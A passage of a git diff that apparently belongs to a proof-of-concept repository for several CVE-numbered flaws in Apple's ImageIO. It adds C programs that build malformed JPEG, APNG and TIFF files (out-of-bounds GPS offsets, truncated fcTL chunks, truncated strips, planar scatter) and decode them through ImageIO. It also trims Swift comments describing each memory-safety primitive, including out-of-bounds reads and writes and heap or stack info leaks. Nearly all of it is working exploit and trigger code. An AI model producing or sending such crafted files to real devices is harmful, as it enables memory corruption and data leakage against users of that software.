printf("CVE-2026-112629 · GPSAltitude offset delta +0x%x · %s\n", delta, detail ? detail : "?"); + printf("seed: gps_oob.jpg (%zu B) · exit code %d\n", jpeg.n, rc); + bfree(&jpeg); + return rc == 0 ? 0 : 1; +} diff --git a/CVE-2026-112629/CVE-2026-112629.swift b/CVE-2026-112629/CVE-2026-112629.swift index f091fd4..de4a06e 100644 --- a/CVE-2026-112629/CVE-2026-112629.swift +++ b/CVE-2026-112629/CVE-2026-112629.swift @@ -1,22 +1,8 @@ // iio.jpeg.gps · ImageIO · GPSCopy::processData · CVE-2026-112629 -// 原语: OOB 读 · 进程内 · tier 2 -// Primitive: OOB read · in-process · tier 2 -// -// [zh] GPS IFD 值偏移越界 -// GPS-IFD 遍历使用裸指针解引用与一个未检查的 read32。当条目值偏移指向 GPS 块之外时,读取直接越界。27.2 将全部访问重写为 checkCapacity / checkInitializedLength -// / pointerToOffset / read32Unchecked,违规时抛出 OutOfBounds 异常。 -// -// [en] GPS IFD value offset out of bounds -// The GPS-IFD walk uses raw pointer dereferences plus one unchecked read32. When an entry's value -// offset points outside the GPS block the read goes straight out of bounds. iOS 27.2 rewrites every -// access through checkCapacity / checkInitializedLength / pointerToOffset / read32Unchecked and throws -// OutOfBounds on violation. -// ── 判别 / oracle ── -// GPSAltitude 的 RATIONAL 偏移指向 +0x10000 处。 - +// GPS IFD value offset out of bounds import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -37,7 +23,7 @@ enum B { static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } } -// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (JPEGPayload) ── +// ── seed construction (from Cinder27 Sources: JPEGPayload) ── enum JPEGPayload { static func exifGPSOutOfBounds(delta: Int = 0x10000) -> Data { var tiff = Data() diff --git a/CVE-2026-112630/CVE-2026-112630.c b/CVE-2026-112630/CVE-2026-112630.c new file mode 100644 index 0000000..d37e451 --- /dev/null +++ b/CVE-2026-112630/CVE-2026-112630.c @@ -0,0 +1,185 @@ +// iio.apng.fctl · ImageIO · IIO_Reader_PNG::getImageCount · CVE-2026-112630 +// APNG fcTL chunk truncated mid-header +// C twin of the Swift POC: builds the truncated-fcTL APNG and reads its frame count + decode. +// Build: clang -O2 -o cve-2026-112630 CVE-2026-112630.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation +// Run: ./cve-2026-112630 [mode] (0 = declared-26/truncated-4, 1 = file ends inside fcTL, 2 = valid control) + +#include +#include +#include + +// ── byte buffer ── +typedef struct { uint8_t *d; size_t n, cap; } buf; +static void bneed(buf *b, size_t extra) { + if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } +} +static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } +static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } +static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } + +static void be32(buf *b, uint32_t v) { + bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff); +} + +// ── png pieces (from Cinder27 Sources: PNGPayload) ── +static uint32_t crc32(const uint8_t *p, size_t n) { + static uint32_t table[256]; + static int built; + if (!built) { + for (int i = 0; i < 256; i++) { + uint32_t c = (uint32_t)i; + for (int k = 0; k < 8; k++) c = (c & 1) ? (0xEDB88320 ^ (c >> 1)) : (c >> 1); + table[i] = c; + } + built = 1; + } + uint32_t crc = 0xFFFFFFFF; + for (size_t i = 0; i < n; i++) crc = table[(crc ^ p[i]) & 0xFF] ^ (crc >> 8); + return crc ^ 0xFFFFFFFF; +} + +// zlib stored-block wrapper around `input` +static void zlib_store(buf *out, const uint8_t *input, size_t in_n) { + bput(out, 0x78); bput(out, 0x01); + size_t off = 0; + if (in_n == 0) { bcat(out, "\x01\x00\x00\xff\xff", 5); } + while (off < in_n) { + size_t take = in_n - off < 65535 ? in_n - off : 65535; + bput(out, off + take >= in_n ? 0x01 : 0x00); + bput(out, take & 0xff); bput(out, (take >> 8) & 0xff); + uint16_t ntake = (uint16_t)~take; + bput(out, ntake & 0xff); bput(out, (ntake >> 8) & 0xff); + bcat(out, input + off, take); + off += take; + } + uint32_t a = 1, b = 0; + for (size_t i = 0; i < in_n; i++) { a = (a + input[i]) % 65521; b = (b + a) % 65521; } + be32(out, (b << 16) | a); +} + +static void png_chunk(buf *out, const char *type, const uint8_t *data, size_t n, int declared_len, size_t truncate_to) { + size_t body_n = truncate_to < n ? truncate_to : n; + uint32_t len = declared_len >= 0 ? (uint32_t)declared_len : (uint32_t)n; + be32(out, len); + bcat(out, type, 4); + bcat(out, data, body_n); + uint8_t crc_input[512]; + size_t ci = 0; + memcpy(crc_input, type, 4); ci = 4; + memcpy(crc_input + ci, data, body_n); ci += body_n; + be32(out, crc32(crc_input, ci)); +} + +// ── seed construction (from Cinder27 Sources: PNGPayload.apngTruncatedFCTL) ── +static buf apng_truncated_fctl(int mode) { + buf out = {0}; + bcat(&out, "\x89\x50\x4e\x47\x0d\x0a\x1a\x0a", 8); + + // IHDR: 4x4, 8-bit RGBA + uint8_t ihdr[13]; + be32(&(buf){0}, 0); // placeholder, built manually below + { + uint8_t *p = ihdr; + *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 4; // width + *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 4; // height + *p++ = 8; *p++ = 6; *p++ = 0; *p++ = 0; *p++ = 0; + } + png_chunk(&out, "IHDR", ihdr, 13, -1, SIZE_MAX); + + // acTL: 2 frames, 0 plays + uint8_t actl[8]; + { + uint8_t *p = actl; + *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 2; + *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0; + } + png_chunk(&out, "acTL", actl, 8, -1, SIZE_MAX); + + // fcTL body: seq 0, w 4, h 4, x 0, y 0, delay 1/10, dispose 0, blend 0 + uint8_t fctl[26]; + { + uint8_t *p = fctl; + *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0; + *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 4; + *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 4; + *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0; + *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0; + *p++ = 0; *p++ = 1; // delay num + *p++ = 0; *p++ = 10; // delay den + *p++ = 0; *p++ = 0; // dispose op / blend op + } + + // a real 4x4 RGBA frame + uint8_t raw_rows[4 * 17]; + { + uint8_t *p = raw_rows; + for (int r = 0; r < 4; r++) { + *p++ = 0; // filter byte + for (int c = 0; c < 16; c++) *p++ = 0x80; + } + } + buf idat = {0}; + zlib_store(&idat, raw_rows, sizeof raw_rows); + + if (mode == 2) { + // control: a fully valid first fcTL + png_chunk(&out, "fcTL", fctl, 26, -1, SIZE_MAX); + png_chunk(&out, "IDAT", idat.d, idat.n, -1, SIZE_MAX); + png_chunk(&out, "IEND", NULL, 0, -1, SIZE_MAX); + } else if (mode == 0) { + // header claims 26 bytes, only 4 present + png_chunk(&out, "fcTL", fctl, 26, 26, 4); + png_chunk(&out, "IDAT", idat.d, idat.n, -1, SIZE_MAX); + png_chunk(&out, "IEND", NULL, 0, -1, SIZE_MAX); + } else { + // file ends inside the fcTL: header + 4 data bytes, no CRC, no IEND + be32(&out, 26); + bcat(&out, "fcTL", 4); + bcat(&out, fctl, 4); + } + bfree(&idat); + return out; +} + +// ── trigger: frame count + decode through ImageIO ── +#include +#include +#include + +static int decode_image(const buf *img, const char **detail) { + CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n); + if (!cf) { *detail = "CFDataCreate failed"; return -1; } + CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL); + CFRelease(cf); + if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; } + // getImageCount is the call that walks fcTL on the vulnerable build + size_t frames = CGImageSourceGetCount(src); + CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL); + static char r[256]; + if (cg) { + snprintf(r, sizeof r, "decoded %zu x %zu, frame count %zu", + (size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames); + CGImageRelease(cg); + } else { + snprintf(r, sizeof r, "decode refused at index 0, frame count %zu", frames); + } + CFRelease(src); + *detail = r; + return cg ? 0 : -1; +} + +int main(int argc, char **argv) { + int mode = argc > 1 ? atoi(argv[1]) : 0; + + buf png = apng_truncated_fctl(mode); + const char *names[3] = {"apng_trunc_fctl.png", "apng_ends_inside_fctl.png", "apng_valid_fctl.png"}; + FILE *f = fopen(names[mode == 0 ? 0 : mode == 1 ? 1 : 2], "wb"); + if (f) { fwrite(png.d, 1, png.n, f); fclose(f); } + + const char *detail = NULL; + int rc = decode_image(&png, &detail); + printf("CVE-2026-112630 · fcTL mode %d (0 = 26B declared / 4B present) · %s\n", mode, detail ? detail : "?"); + printf("seed: %s (%zu B) · exit code %d\n", names[mode == 0 ? 0 : mode == 1 ? 1 : 2], png.n, rc); + bfree(&png); + return rc == 0 ? 0 : 1; +} diff --git a/CVE-2026-112630/CVE-2026-112630.swift b/CVE-2026-112630/CVE-2026-112630.swift index 6a710d8..87922a8 100644 --- a/CVE-2026-112630/CVE-2026-112630.swift +++ b/CVE-2026-112630/CVE-2026-112630.swift @@ -1,20 +1,8 @@ // iio.apng.fctl · ImageIO · IIO_Reader_PNG::getImageCount · CVE-2026-112630 -// 原语: 信息泄露 · 进程内 · tier 2 -// Primitive: info leak · in-process · tier 2 -// -// [zh] APNG fcTL 截断 → 栈上未初始化帧几何 -// 在 fcTL 偏移处读取 34 字节,且不检查返回值。当文件在 fcTL 中间被截断时,该 34 字节栈缓冲只有前部被写入,其余部分作为帧宽、高、偏移与延时被解析。 -// -// [en] APNG fcTL truncation → uninitialised frame geometry on the stack -// Thirty-four bytes are read at the fcTL offset and the return value is not checked. When the file -// is truncated mid-fcTL only the front of that 34-byte stack buffer is written; the remainder is -// parsed as frame width, height, offsets and delay. -// ── 判别 / oracle ── -// 27.2 改为读 26 字节并检查 cmp x0,#0x1a,报 \"*** truncated 'fcTL' chunk at offset %ld\"。 - +// APNG fcTL truncation → uninitialised frame geometry on the stack import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -35,7 +23,7 @@ enum B { static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } } -// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (PNGPayload) ── +// ── seed construction (from Cinder27 Sources: PNGPayload) ── enum PNGPayload { static func apngTruncatedFCTL(mode: Int = 0) -> Data { var out: [UInt8] = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A] diff --git a/CVE-2026-112632/CVE-2026-112632.c b/CVE-2026-112632/CVE-2026-112632.c new file mode 100644 index 0000000..36ed812 --- /dev/null +++ b/CVE-2026-112632/CVE-2026-112632.c @@ -0,0 +1,175 @@ +// iio.tiff.trunc · ImageIO · decodeStripChunky · CVE-2026-112632 +// Truncated strip scatter of uninitialised buffer bytes +// C twin of the Swift POC: builds the truncated-strip TIFF and decodes it through ImageIO. +// Build: clang -O2 -o cve-2026-112632 CVE-2026-112632.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation +// Run: ./cve-2026-112632 [width] [height] + +#include +#include +#include + +// ── byte buffer ── +typedef struct { uint8_t *d; size_t n, cap; } buf; +static void bneed(buf *b, size_t extra) { + if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } +} +static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } +static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } +static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; } +static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } + +static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); } +static void le32(buf *b, uint32_t v) { + bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff); +} + +// ── TIFF IFD builder (from Cinder27 Sources: TIFFPayload.build) ── +// Entry values longer than 4 bytes must be supplied as a blob under the same tag. +typedef struct { uint16_t tag, type; uint32_t count; const uint8_t *value; size_t value_n; } tentry; +typedef struct { uint16_t tag; const uint8_t *bytes; size_t n; } tblob; + +static buf tiff_build(const tentry *entries, int n, const tblob *blobs, int nblobs) { + size_t ifd_size = 2 + (size_t)n * 12 + 4; + size_t extra_offset = 8 + ifd_size; + if (extra_offset % 2) extra_offset++; + + // sort entries by tag + tentry sorted[16]; + memcpy(sorted, entries, (size_t)n * sizeof(tentry)); + for (int i = 0; i < n; i++) for (int j = i + 1; j < n; j++) { + if (sorted[j].tag < sorted[i].tag) { tentry t = sorted[i]; sorted[i] = sorted[j]; sorted[j] = t; } + } + + // blob offsets, assigned in blob order + size_t blob_off[8] = {0}; + size_t cur = extra_offset; + for (int i = 0; i < nblobs; i++) { blob_off[i] = cur; cur += blobs[i].n; } + + buf out = {0}; + bcat(&out, "II\x2a\x00", 4); + le32(&out, 8); + le16(&out, (uint16_t)n); + for (int i = 0; i < n; i++) { + const tentry *e = &sorted[i]; + le16(&out, e->tag); + le16(&out, e->type); + le32(&out, e->count); + if (e->value_n <= 4) { + bcat(&out, e->value, e->value_n); + brep(&out, 0, 4 - e->value_n); + } else { + // find the blob carrying this tag + size_t off = 0; + for (int j = 0; j < nblobs; j++) if (blobs[j].tag == e->tag) { off = blob_off[j]; break; } + le32(&out, (uint32_t)off); + } + } + le32(&out, 0); // next IFD + if (out.n < extra_offset) brep(&out, 0, extra_offset - out.n); + for (int i = 0; i < nblobs; i++) bcat(&out, blobs[i].bytes, blobs[i].n); + return out; +} + +// ── seed construction (from Cinder27 Sources: TIFFPayload.truncatedStrip) ── +static buf tiff_truncated_strip(int width, int height) { + uint32_t strip_bytes = (uint32_t)(width * height / 2); + uint8_t placeholder[8] = {0}; + uint8_t counts[8], v256[4], v257[4], v258[2], v259[2], v262[2], v277[2], v278[4], v284[2]; + // inline values + { + uint8_t w[4] = {(uint8_t)width, (uint8_t)(width >> 8), (uint8_t)(width >> 16), (uint8_t)(width >> 24)}; + uint8_t h[4] = {(uint8_t)height, (uint8_t)(height >> 8), (uint8_t)(height >> 16), (uint8_t)(height >> 24)}; + uint8_t rows[4] = {(uint8_t)(height / 2), (uint8_t)((height / 2) >> 8), 0, 0}; + memcpy(v256, w, 4); memcpy(v257, h, 4); memcpy(v278, rows, 4); + } + v258[0] = 8; v258[1] = 0; // BitsPerSample + v259[0] = 1; v259[1] = 0; // compression none + v262[0] = 1; v262[1] = 0; // photometric min-is-black + v277[0] = 1; v277[1] = 0; // spp 1 + v284[0] = 1; v284[1] = 0; // planar chunky + { + buf c = {0}; + le32(&c, strip_bytes); le32(&c, strip_bytes); + memcpy(counts, c.d, 8); + bfree(&c); + } + + tentry entries[10] = { + {256, 4, 1, v256, 4}, + {257, 4, 1, v257, 4}, + {258, 3, 1, v258, 2}, + {259, 3, 1, v259, 2}, + {262, 3, 1, v262, 2}, + {273, 4, 2, placeholder, 8}, + {277, 3, 1, v277, 2}, + {278, 4, 1, v278, 4}, + {279, 4, 2, counts, 8}, + {284, 3, 1, v284, 2}, + }; + tblob blobs[1] = { {273, placeholder, 8} }; + + // pass 1: placeholder fixes the layout + buf data = tiff_build(entries, 10, blobs, 1); + uint32_t base = (uint32_t)data.n; + bfree(&data); + + // pass 2: real strip offsets (identical layout) + uint8_t offsets[8]; + { + buf c = {0}; + le32(&c, base); le32(&c, base + strip_bytes); + memcpy(offsets, c.d, 8); + bfree(&c); + } + entries[5].value = offsets; + tblob blobs2[1] = { {273, offsets, 8} }; + data = tiff_build(entries, 10, blobs2, 1); + + // strip 1: full; strip 2: physically truncated to 16 bytes + brep(&data, 0x33, strip_bytes); + brep(&data, 0x00, 16); + return data; +} + +// ── trigger: decode through ImageIO ── +#include +#include +#include + +static int decode_image(const buf *img, const char **detail) { + CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n); + if (!cf) { *detail = "CFDataCreate failed"; return -1; } + CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL); + CFRelease(cf); + if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; } + size_t frames = CGImageSourceGetCount(src); + CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL); + static char r[256]; + if (cg) { + snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)", + (size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames); + CGImageRelease(cg); + } else { + snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames); + } + CFRelease(src); + *detail = r; + return cg ? 0 : -1; +} + +int main(int argc, char **argv) { + int width = argc > 1 ? atoi(argv[1]) : 32; + int height = argc > 2 ? atoi(argv[2]) : 32; + + buf tiff = tiff_truncated_strip(width, height); + FILE *f = fopen("trunc_strip.tif", "wb"); + if (f) { fwrite(tiff.d, 1, tiff.n, f); fclose(f); } + + const char *detail = NULL; + int rc = decode_image(&tiff, &detail); + printf("CVE-2026-112632 · %dx%d, strip byte counts claim %d, second strip is 16 B · %s\n", + width, height, width * height / 2, detail ? detail : "?"); + printf("seed: trunc_strip.tif (%zu B) · exit code %d\n", tiff.n, rc); + bfree(&tiff); + return rc == 0 ? 0 : 1; +} diff --git a/CVE-2026-112632/CVE-2026-112632.swift b/CVE-2026-112632/CVE-2026-112632.swift index 98f9ca5..6c716f9 100644 --- a/CVE-2026-112632/CVE-2026-112632.swift +++ b/CVE-2026-112632/CVE-2026-112632.swift @@ -1,20 +1,8 @@ // iio.tiff.trunc · ImageIO · decodeStripChunky · CVE-2026-112632 -// 原语: 信息泄露 · 进程内 · tier 2 -// Primitive: info leak · in-process · tier 2 -// -// [zh] TIFF 截断条带 → 未初始化堆进像素 -// TIFFReadEncodedStrip 的返回值未被检查。读取失败时,未初始化的 malloc 条带缓冲被散写进输出图像,故解码所得像素即为进程堆中的残留内容。 -// -// [en] TIFF truncated strip → uninitialised heap into pixels -// The return value of TIFFReadEncodedStrip is never checked. On read failure the uninitialised malloc'd -// strip buffer is scattered into the output image, so the decoded pixels are whatever was left on -// the process heap. -// ── 判别 / oracle ── -// 判别方法:对同一文件连续解码三次并比对输出指纹。若条带区域每次不同,即证明取到的是未初始化堆。27.2 将其零填充并输出 \"strip %d is zero-filled\"。 - +// TIFF truncated strip → uninitialised heap into pixels import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -35,7 +23,7 @@ enum B { static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } } -// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (TIFFPayload) ── +// ── seed construction (from Cinder27 Sources: TIFFPayload) ── enum TIFFPayload { struct Entry { let tag: UInt16 diff --git a/CVE-2026-112633/CVE-2026-112633.c b/CVE-2026-112633/CVE-2026-112633.c new file mode 100644 index 0000000..f9b84da --- /dev/null +++ b/CVE-2026-112633/CVE-2026-112633.c @@ -0,0 +1,166 @@ +// iio.tiff.planar · ImageIO · decodeStripPlanar · CVE-2026-112633 +// Planar configuration scatter past the destination row +// C twin of the Swift POC: builds the 4-plane/3-channel TIFF and decodes it through ImageIO. +// Variant iio.pdf.raster (oversized MediaBox rasterization) is noted in the Swift POC. +// Build: clang -O2 -o cve-2026-112633 CVE-2026-112633.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation +// Run: ./cve-2026-112633 [spp] + +#include +#include +#include + +// ── byte buffer ── +typedef struct { uint8_t *d; size_t n, cap; } buf; +static void bneed(buf *b, size_t extra) { + if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } +} +static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } +static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } +static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; } +static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } + +static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); } +static void le32(buf *b, uint32_t v) { + bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff); +} + +// ── seed construction (from Cinder27 Sources: TIFFPayload.planarScatter) ── +// Photometric=RGB gives a 3-channel destination row; SamplesPerPixel=4 with +// PlanarConfiguration=2 makes the 4th plane scatter past it. +static buf tiff_planar_scatter(int width, int height, int spp, uint16_t photometric) { + size_t strip_bytes = (size_t)width * height; + + // deterministic layout: IFD at 8, BitsPerSample blob, StripOffsets blob, plane data + size_t ifd_size = 2 + 10 * 12 + 4; + size_t extra_offset = 8 + ifd_size; + if (extra_offset % 2) extra_offset++; + size_t bits_offset = extra_offset; + size_t offsets_blob_offset = bits_offset + (size_t)spp * 2; + size_t strip_base = offsets_blob_offset + (size_t)spp * 4; + + uint8_t bits[8] = {0}; // up to 4 planes × le16(8) + for (int i = 0; i < spp && i < 4; i++) { bits[i * 2] = 8; bits[i * 2 + 1] = 0; } + + uint8_t strip_offsets[16] = {0}; // up to 4 × le32 + for (int i = 0; i < spp && i < 4; i++) { + uint32_t v = (uint32_t)(strip_base + (size_t)i * strip_bytes); + strip_offsets[i * 4] = v & 0xff; + strip_offsets[i * 4 + 1] = (v >> 8) & 0xff; + strip_offsets[i * 4 + 2] = (v >> 16) & 0xff; + strip_offsets[i * 4 + 3] = (v >> 24) & 0xff; + } + + uint8_t counts[16] = {0}; // up to 4 × le32 strip byte counts + for (int i = 0; i < spp && i < 4; i++) { + uint32_t v = (uint32_t)strip_bytes; + counts[i * 4] = v & 0xff; + counts[i * 4 + 1] = (v >> 8) & 0xff; + counts[i * 4 + 2] = (v >> 16) & 0xff; + counts[i * 4 + 3] = (v >> 24) & 0xff; + } + + uint8_t v256[4] = {(uint8_t)width, (uint8_t)(width >> 8), (uint8_t)(width >> 16), (uint8_t)(width >> 24)}; + uint8_t v257[4] = {(uint8_t)height, (uint8_t)(height >> 8), (uint8_t)(height >> 16), (uint8_t)(height >> 24)}; + uint8_t v258c[4] = {0}; // placeholder for the 2-byte tag 258 inline field + uint8_t v259[2] = {1, 0}; // compression none + uint8_t v262[2] = {(uint8_t)photometric, (uint8_t)(photometric >> 8)}; + uint8_t v273c[4] = {0}; // placeholder — real value is the blob offset + uint8_t v277[2] = {(uint8_t)spp, (uint8_t)(spp >> 8)}; + uint8_t v278[4] = {(uint8_t)height, (uint8_t)(height >> 8), (uint8_t)(height >> 16), (uint8_t)(height >> 24)}; + uint8_t v284[2] = {2, 0}; // PlanarConfiguration = 2 (planar) + + // tag-sorted IFD entries; the two >4-byte values are carried by blobs + // tag 258 (BitsPerSample, count=spp) — blob at bits_offset + // tag 273 (StripOffsets, count=spp) — blob at offsets_blob_offset + // tag 279 (StripByteCounts, count=spp) — blob, appended after 273 + buf out = {0}; + bcat(&out, "II\x2a\x00", 4); + le32(&out, 8); + le16(&out, 10); + struct { uint16_t tag, type; uint32_t count; uint32_t val; } e[10] = { + {256, 4, 1, 0}, {257, 4, 1, 0}, + {258, 3, (uint32_t)spp, (uint32_t)bits_offset}, + {259, 3, 1, 0}, {262, 3, 1, 0}, + {273, 4, (uint32_t)spp, (uint32_t)offsets_blob_offset}, + {277, 3, 1, 0}, {278, 4, 1, 0}, + {279, 4, (uint32_t)spp, (uint32_t)(offsets_blob_offset + (size_t)spp * 4)}, + {284, 3, 1, 0}, + }; + // inline values for the scalar entries + uint32_t scalars[10] = {0}; + memcpy(&scalars[0], v256, 4); + memcpy(&scalars[1], v257, 4); + // 258: blob + memcpy(&scalars[3], v259, 2); // zero-padded inline + memcpy(&scalars[4], v262, 2); + // 273: blob + memcpy(&scalars[6], v277, 2); + memcpy(&scalars[7], v278, 4); + // 279: blob + memcpy(&scalars[9], v284, 2); + (void)v258c; (void)v273c; + for (int i = 0; i < 10; i++) { + le16(&out, e[i].tag); + le16(&out, e[i].type); + le32(&out, e[i].count); + if (e[i].tag == 258 || e[i].tag == 273 || e[i].tag == 279) { + le32(&out, e[i].val); // blob offset + } else { + le32(&out, scalars[i]); + } + } + le32(&out, 0); // next IFD + if (out.n < extra_offset) brep(&out, 0, extra_offset - out.n); + bcat(&out, bits, (size_t)spp * 2); // 258 blob + bcat(&out, strip_offsets, (size_t)spp * 4); // 273 blob + bcat(&out, counts, (size_t)spp * 4); // 279 blob + if (out.n < strip_base) brep(&out, 0, strip_base - out.n); + for (int plane = 0; plane < spp; plane++) { + brep(&out, (uint8_t)(0x40 + plane * 0x20), strip_bytes); + } + return out; +} + +// ── trigger: decode through ImageIO ── +#include +#include +#include + +static int decode_image(const buf *img, const char **detail) { + CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n); + if (!cf) { *detail = "CFDataCreate failed"; return -1; } + CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL); + CFRelease(cf); + if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; } + size_t frames = CGImageSourceGetCount(src); + CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL); + static char r[256]; + if (cg) { + snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)", + (size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames); + CGImageRelease(cg); + } else { + snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames); + } + CFRelease(src); + *detail = r; + return cg ? 0 : -1; +} + +int main(int argc, char **argv) { + int width = 64, height = 64; + int spp = argc > 1 ? atoi(argv[1]) : 4; + if (spp < 1) spp = 1; if (spp > 4) spp = 4; + + buf tiff = tiff_planar_scatter(width, height, spp, 2); + FILE *f = fopen("planar_scatter.tif", "wb"); + if (f) { fwrite(tiff.d, 1, tiff.n, f); fclose(f); } + + const char *detail = NULL; + int rc = decode_image(&tiff, &detail); + printf("CVE-2026-112633 · %dx%d RGB destination, %d planes (planar) · %s\n", + width, height, spp, detail ? detail : "?"); + printf("seed: planar_scatter.tif (%zu B) · exit code %d\n", tiff.n, rc); + bfree(&tiff); + return rc == 0 ? 0 : 1; +} diff --git a/CVE-2026-112633/CVE-2026-112633.swift b/CVE-2026-112633/CVE-2026-112633.swift index 384773d..22bded6 100644 --- a/CVE-2026-112633/CVE-2026-112633.swift +++ b/CVE-2026-112633/CVE-2026-112633.swift @@ -1,23 +1,8 @@ // iio.tiff.planar · ImageIO · decodeStripPlanar · CVE-2026-112633 / 112614 -// 原语: OOB 写 · 进程内 · tier 2 -// Primitive: OOB write · in-process · tier 2 -// -// [zh] TIFF planar 散写越界 -// 当 PlanarConfiguration=2 且 SamplesPerPixel 大于 Photometric 所指的通道数时,散写指针的偏移以 32 位乘法计算,且计算结果与目标行容量之间不存在任何比较。 -// 27.2 改为 64 位 umull 并比对所需字节数与容量。 -// -// [en] TIFF planar scatter out-of-bounds write -// With PlanarConfiguration=2 and SamplesPerPixel greater than the channel count implied by Photometric, -// the scatter pointer offset is computed with a 32-bit multiply and the result is never compared -// against the destination row capacity. iOS 27.2 switches to a 64-bit umull and compares required -// bytes against capacity. -// ── 判别 / oracle ── -// 24A435 的报错串不存在:\"*** ERROR: decodeStripPlanar destination row is %u bytes, the scatter needs %llu\"。 -// 变体 iio.pdf.raster: PDF 栅格化解码缓冲越界 - +// TIFF planar scatter out-of-bounds write import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -38,22 +23,8 @@ enum B { static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } } -/* -// iio.pdf.raster · ImageIO · PDFReadPlugin::decodeImageData · CVE-2026-112633 -// 原语: OOB 写 · 进程内 · tier 2 -// Primitive: OOB write · in-process · tier 2 -// -// [zh] PDF 栅格化解码缓冲越界 -// PDF 页被栅格化进调用方提供的解码缓冲,但未校验该缓冲是否足以容纳。27.2 补入 umull width×bpp、与 have 比较、b.hi 跳转,并报 \"decode buffer -// too small: need %zu bytes (%zu x %zu), have %zu\"。 -// -// [en] PDF rasterisation decode buffer overrun -// The PDF page is rasterised into a caller-supplied decode buffer with no check that the buffer is -// large enough. iOS 27.2 adds umull width×bpp, compares against have, branches b.hi, and reports -// "decode buffer too small: need %zu bytes (%zu x %zu), have 